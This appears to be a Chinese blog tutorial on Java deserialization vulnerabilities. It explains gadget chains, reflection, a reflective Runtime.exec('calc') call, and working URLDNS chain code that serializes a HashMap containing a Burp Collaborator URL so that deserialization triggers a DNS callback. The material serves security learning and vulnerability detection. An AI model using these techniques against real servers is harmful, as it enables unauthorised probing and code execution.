Java反序列化 入门

0x00 Java原生序列化与反序列化

产生漏洞原因:

服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式:

  1. 入口类的readObject直接调用危险方法
  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用
  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
  4. 类型定义为Object,调用equals/hashcode/toString(重点:相同类型、同名函数)
  5. 构造函数/静态代码块等类加载时隐式执行

条件(继承Serializable):

  1. 入口类source
  1. 重写readObject
  2. 调用常见的函数、参数类型宽泛(比如HashMapHashTable为什么HashMap需要重写writeObjectreadObject?因为HashMap对象的反序列化结果与序列化之前的结果可能不一致,所以必须重写方法)
  3. 最好自带jdk
  1. 调用链gadgetchain、相同名称、相同类型
  2. 执行类sinkrcessrf写文件等等)

0x01 Java反射+URLDNS链

简单的反射

如果属性或方法是私有的,则需要使用到aaa.getDeclaredFieldgetDeclaredMethod方法,并且设置bbb.setAccessible(true)才可以进行修改

public class Person {
    public String name;
    private int age;

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public void action(String act) {
        System.out.println(act);
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
}
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ReflectionTest {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        Person person = new Person();

        // 反射就是操作Class
        Class<? extends Person> aClass = person.getClass();

        // 从原型class里面实例化对象
//        Person p = aClass.newInstance();
        Constructor<? extends Person> constructor = aClass.getConstructor(String.class, int.class);
        Person p = constructor.newInstance("haha", 111);
        System.out.println(p);

        // 获取类里面属性
//        Field[] declaredFields = aClass.getDeclaredFields();
//        for (Field declaredField : declaredFields) {
//            System.out.println(declaredField);
//        }

//        Field namefield = aClass.getField("name");
//        namefield.set(p, "test");
        Field namefield = aClass.getDeclaredField("age");
        namefield.setAccessible(true);
        namefield.set(p, 111);
        System.out.println(p);

        // 调用类里面的方法
//        Method[] methods = aClass.getMethods();
//        for (Method method : methods) {
//            System.out.println(method);
//        }

//        Method action = aClass.getMethod("action", String.class);
//        action.invoke(p, "aaaaaaaaa");
        // 如果方法Person类中action方法是私有的
        // 则需要使用getDeclaredMethod,并且设置setAccessible(true)
        Method action1 = aClass.getDeclaredMethod("action", String.class);
        action1.setAccessible(true);
        action1.invoke(p, "hahahaha");
    }
}

calc的放射

package com.example;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class RuntimeTest {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime.getRuntime().exec("calc");

//        Runtime 没有继承Serializable接口 无法序列化
//        Runtime runtime = Runtime.getRuntime();

//        Class 可以序列化
        Class<Runtime> runtimeClass = Runtime.class;
//        静态方法getRuntime 参数类型无参
        Method getRuntime = runtimeClass.getMethod("getRuntime", null);
        // 静态方法 第一个参数为null  无参方法 第二个参数为null
        Runtime runtime = (Runtime) getRuntime.invoke(null, null);

        Method exec = runtimeClass.getMethod("exec", String.class);
        exec.invoke(runtime, "calc");
    }
}

URL类中存在反序列化

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        hashMap.put(new URL("http://bu9u6gn2ae5u0be48is3s4r1us0io7.burpcollaborator.net"), 1);
        serialize(hashMap);
    }
}

URL继承Serializable接口

hashCode初始化为-1

只有当hashCode-1时,才会调用URL类的hashCode函数

然后得到DNS请求(getHostAddress),最终验证是否存在漏洞

原本hashCode初始化时为-1,然后会执行hashCode函数,现在由于设置了hashMap.put(new URL(""), 1);,所以变成了urlhashCode,不再是-1,而出现下面结果并非是反序列化执行导致的

再执行hashMap.put方法前,对urlhashCode进行设置,改为-1

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
//        这里不需要发起请求,把url对象的hashcode改成不是-1
        URL url = new URL("http://gl5iwnmiim0fq2oijtdruqmuqlwbk0.burpcollaborator.net");

//        反序列化之前再把hashcode改回-1即可
        Class aClass = url.getClass();
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, 123123);

        hashMap.put(url, 1);

        hashCode.set(url, -1);
        serialize(hashMap);
    }
}
import java.io.*;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserialize("ser.bin");
    }
}

0x02 参考链接:

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇